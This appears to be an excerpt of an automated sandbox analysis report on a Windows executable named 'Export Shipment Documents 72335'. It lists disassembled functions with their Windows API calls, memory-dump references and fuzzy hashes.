                                                                                                                                                                                                          • Instruction ID: 8efa427203ffd7a45d167e3a64f6abf3f3640219bb0751621114887cb14f0fc1
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4751BB71544304A7D720EF61CC86FDBB3E8AF84748F00492EF58957182E775E645C7AA
                                                                                                                                                                                                          Function 00455297 Relevance: 10.6, APIs: 7, Instructions: 149windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001308,?,00000000), ref: 004552B7
                                                                                                                                                                                                          • ImageList_Remove.COMCTL32(?,?,?,?), ref: 004552EB
                                                                                                                                                                                                          • SendMessageW.USER32(?,0000133D,?,00000002), ref: 004553D3
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: DeleteDestroyMessageObjectSend$IconImageList_RemoveWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2354583917-0
                                                                                                                                                                                                          • Opcode ID: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                                                                                                                                                                                                          • Instruction ID: 19c5dc8500d05a42ca126c51664c70dafe1d1a8ca3b523478e8997b137d6e309
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 77519D30204A419FC714DF24C4A4B7A77E5FB49301F4486AEFD9ACB392DB78A849CB54
                                                                                                                                                                                                          Function 00463D7E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 141libraryloaderCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • LoadLibraryW.KERNEL32(00000000), ref: 00463DD1
                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,?), ref: 00463E68
                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00000000), ref: 00463E84
                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,?), ref: 00463ECE
                                                                                                                                                                                                          • FreeLibrary.KERNEL32(?,?,?,00000000,?), ref: 00463EF0
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: AddressProc$Library$FreeLoad
                                                                                                                                                                                                          • String ID: Wu
                                                                                                                                                                                                          • API String ID: 2449869053-4083010176
                                                                                                                                                                                                          • Opcode ID: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                                                                                                                                                                                                          • Instruction ID: 5a5949aabc30296464acd143044f95cbdcafad8a77d2d24e7d672d776762960f
                                                                                                                                                                                                          • Opcode Fuzzy Hash: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9051C1752043409FC300EF25C881A5BB7A4FF89305F00456EF945A73A2DB79EE45CBAA
                                                                                                                                                                                                          Function 0047762A Relevance: 10.6, APIs: 7, Instructions: 140windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                                                                                                                          • GetMenu.USER32 ref: 004776AA
                                                                                                                                                                                                          • GetMenuItemCount.USER32(00000000), ref: 004776CC
                                                                                                                                                                                                          • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 004776FB
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 0047771A
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Menu$CountItemStringWindow_wcslen
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1823500076-0
                                                                                                                                                                                                          • Opcode ID: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                                                                                                                                                                                                          • Instruction ID: 4b9e656becebfc5f52f27a1d7ad2c07a58398098864d75d3a5ce1c02cc274359
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 174117715083019FD320EF25CC45BABB3E8BF88314F10492EF55997252D7B8E9458BA9
                                                                                                                                                                                                          Function 00448877 Relevance: 10.6, APIs: 7, Instructions: 130windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0044890A
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000469,?,00000000), ref: 00448920
                                                                                                                                                                                                          • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                                                                          • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                                                                          • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                                                                          • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                                                                          • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$Enable$Show$MessageMoveSend
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 896007046-0
                                                                                                                                                                                                          • Opcode ID: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                                                                                                                                                                                                          • Instruction ID: 0809a8548e22334437b8974569d6adfa08582830463fbdb99c3481629354d751
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 63419E746043419FF7248B24C884B6FB7A1FB99305F18886EF98197391DA78A845CB59
                                                                                                                                                                                                          Function 004413F0 Relevance: 10.6, APIs: 7, Instructions: 114windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                                                                                                                                                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 00441452
                                                                                                                                                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 00441493
                                                                                                                                                                                                          • SendMessageW.USER32(03061BB0,000000F1,00000000,00000000), ref: 004414C6
                                                                                                                                                                                                          • SendMessageW.USER32(03061BB0,000000F1,00000001,00000000), ref: 004414F1
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$LongWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 312131281-0
                                                                                                                                                                                                          • Opcode ID: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                                                                                                                                                                                                          • Instruction ID: f6a862a32ccfd92e4f153a1965fa7dc80102ffdb8abe4b8a046001f82176c48d
                                                                                                                                                                                                          • Opcode Fuzzy Hash: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2F416A347442019FE720CF58DCC4F6A77A5FB8A754F24416AE5519B3B1CB75AC82CB48
                                                                                                                                                                                                          Function 0044849C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 106windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _memset.LIBCMT ref: 004484C4
                                                                                                                                                                                                          • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 00448562
                                                                                                                                                                                                          • IsMenu.USER32(?), ref: 0044857B
                                                                                                                                                                                                          • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 004485D0
                                                                                                                                                                                                          • DrawMenuBar.USER32 ref: 004485E4
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Menu$Item$DrawInfoInsert_memset
                                                                                                                                                                                                          • String ID: 0
                                                                                                                                                                                                          • API String ID: 3866635326-4108050209
                                                                                                                                                                                                          • Opcode ID: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                                                                                                                                                                                                          • Instruction ID: c1b4c65bd9dbf201e14e83578cc8030a3c247867dd5f1e451e409e2153a24926
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9F417F75604341AFE710CF45C984B6BB7E4FB89304F14881EFA554B391DBB4E849CB5A
                                                                                                                                                                                                          Function 0047244D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104sleepCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • InterlockedIncrement.KERNEL32 ref: 0047247C
                                                                                                                                                                                                          • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472491
                                                                                                                                                                                                          • Sleep.KERNEL32(0000000A), ref: 00472499
                                                                                                                                                                                                          • InterlockedIncrement.KERNEL32(004A7CAC), ref: 004724A4
                                                                                                                                                                                                          • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472599
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Interlocked$DecrementIncrement$Sleep
                                                                                                                                                                                                          • String ID: 0vH
                                                                                                                                                                                                          • API String ID: 327565842-3662162768
                                                                                                                                                                                                          • Opcode ID: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                                                                                                                                                          • Instruction ID: 7246262c18bb701d5349304b0e2d21290bf7c9637501dd5a114e6955e8e78370
                                                                                                                                                                                                          • Opcode Fuzzy Hash: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9631D2329082259BD710DF28DD41A8A77A5EB95324F05483EFD08FB251DB78EC498BED
                                                                                                                                                                                                          Function 00448AFF Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000401,?,00000000), ref: 00448B16
                                                                                                                                                                                                          • GetFocus.USER32 ref: 00448B1C
                                                                                                                                                                                                          • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                                                                          • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                                                                          • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                                                                          • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                                                                          • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$Enable$Show$FocusMessageSend
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3429747543-0
                                                                                                                                                                                                          • Opcode ID: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                                                                                                                                                                                                          • Instruction ID: 96ed947056310062a3fa6d2350adc65d304252fdbf70c479ab88671ed4e09c2c
                                                                                                                                                                                                          • Opcode Fuzzy Hash: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                                                                                                                                                                                                          • Instruction Fuzzy Hash: FC31B4706443819BF7248E14C8C4BAFB7D0EB95745F04492EF981A6291DBA89845C719
                                                                                                                                                                                                          Function 0045D321 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 81COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D32F
                                                                                                                                                                                                          • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D3B3
                                                                                                                                                                                                          • __swprintf.LIBCMT ref: 0045D3CC
                                                                                                                                                                                                          • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D416
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ErrorMode$InformationVolume__swprintf
                                                                                                                                                                                                          • String ID: %lu$HH
                                                                                                                                                                                                          • API String ID: 3164766367-3924996404
                                                                                                                                                                                                          • Opcode ID: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                                                                                                                                                                                                          • Instruction ID: e4de0c6df68350460ad5232616e5185c9d799459bd1b640414cfcbd8d86849a8
                                                                                                                                                                                                          • Opcode Fuzzy Hash: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 85314A716083019BC310EF55D941A5BB7E4FF88704F40892EFA4597292D774EA09CB9A
                                                                                                                                                                                                          Function 00450DB4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00450E24
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00000409,00000000,FF000000), ref: 00450E35
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00450E43
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00450E54
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00000404,00000001,00000000), ref: 00450E62
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend
                                                                                                                                                                                                          • String ID: Msctls_Progress32
                                                                                                                                                                                                          • API String ID: 3850602802-3636473452
                                                                                                                                                                                                          • Opcode ID: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                                                                                                                                                                                                          • Instruction ID: b51c377fab27852337593a8f268aff884918310fa347e0537580fa9f3b853d23
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2C2121712543007AE7209A65DC42F5BB3E9AFD8B24F214A0EF754B72D1C6B4F8418B58
                                                                                                                                                                                                          Function 00455449 Relevance: 10.6, APIs: 7, Instructions: 75windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • ImageList_Destroy.COMCTL32(?), ref: 00455451
                                                                                                                                                                                                          • ImageList_Destroy.COMCTL32(?), ref: 0045545F
                                                                                                                                                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Destroy$DeleteImageList_ObjectWindow$Icon
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3985565216-0
                                                                                                                                                                                                          • Opcode ID: dc022e11ae60a508d3fee16e2099accab07c71a042b18f60c16d9d094d7ead98
                                                                                                                                                                                                          • Instruction ID: 02eb1b45cc7e926b76574f27881fb1e8d9d372094f4d7b34cf8607babd6cb63d
                                                                                                                                                                                                          • Opcode Fuzzy Hash: dc022e11ae60a508d3fee16e2099accab07c71a042b18f60c16d9d094d7ead98
                                                                                                                                                                                                          • Instruction Fuzzy Hash: EA213270200A019FCB20DF65CAD4B2A77A9BF45312F50855EED45CB352DB39EC45CB69
                                                                                                                                                                                                          Function 00415702 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • ___set_flsgetvalue.LIBCMT ref: 00415737
                                                                                                                                                                                                          • __calloc_crt.LIBCMT ref: 00415743
                                                                                                                                                                                                          • __getptd.LIBCMT ref: 00415750
                                                                                                                                                                                                          • CreateThread.KERNEL32(00000000,?,0041568B,00000000,00000004,00000000), ref: 00415776
                                                                                                                                                                                                          • ResumeThread.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 00415786
                                                                                                                                                                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 00415791
                                                                                                                                                                                                          • __dosmaperr.LIBCMT ref: 004157A9
                                                                                                                                                                                                            • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                                                            • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1269668773-0
                                                                                                                                                                                                          • Opcode ID: 0d7b65c6ab38dbefdfd62d93c8bf275ac45e934a4136d591895be9c5171332a1
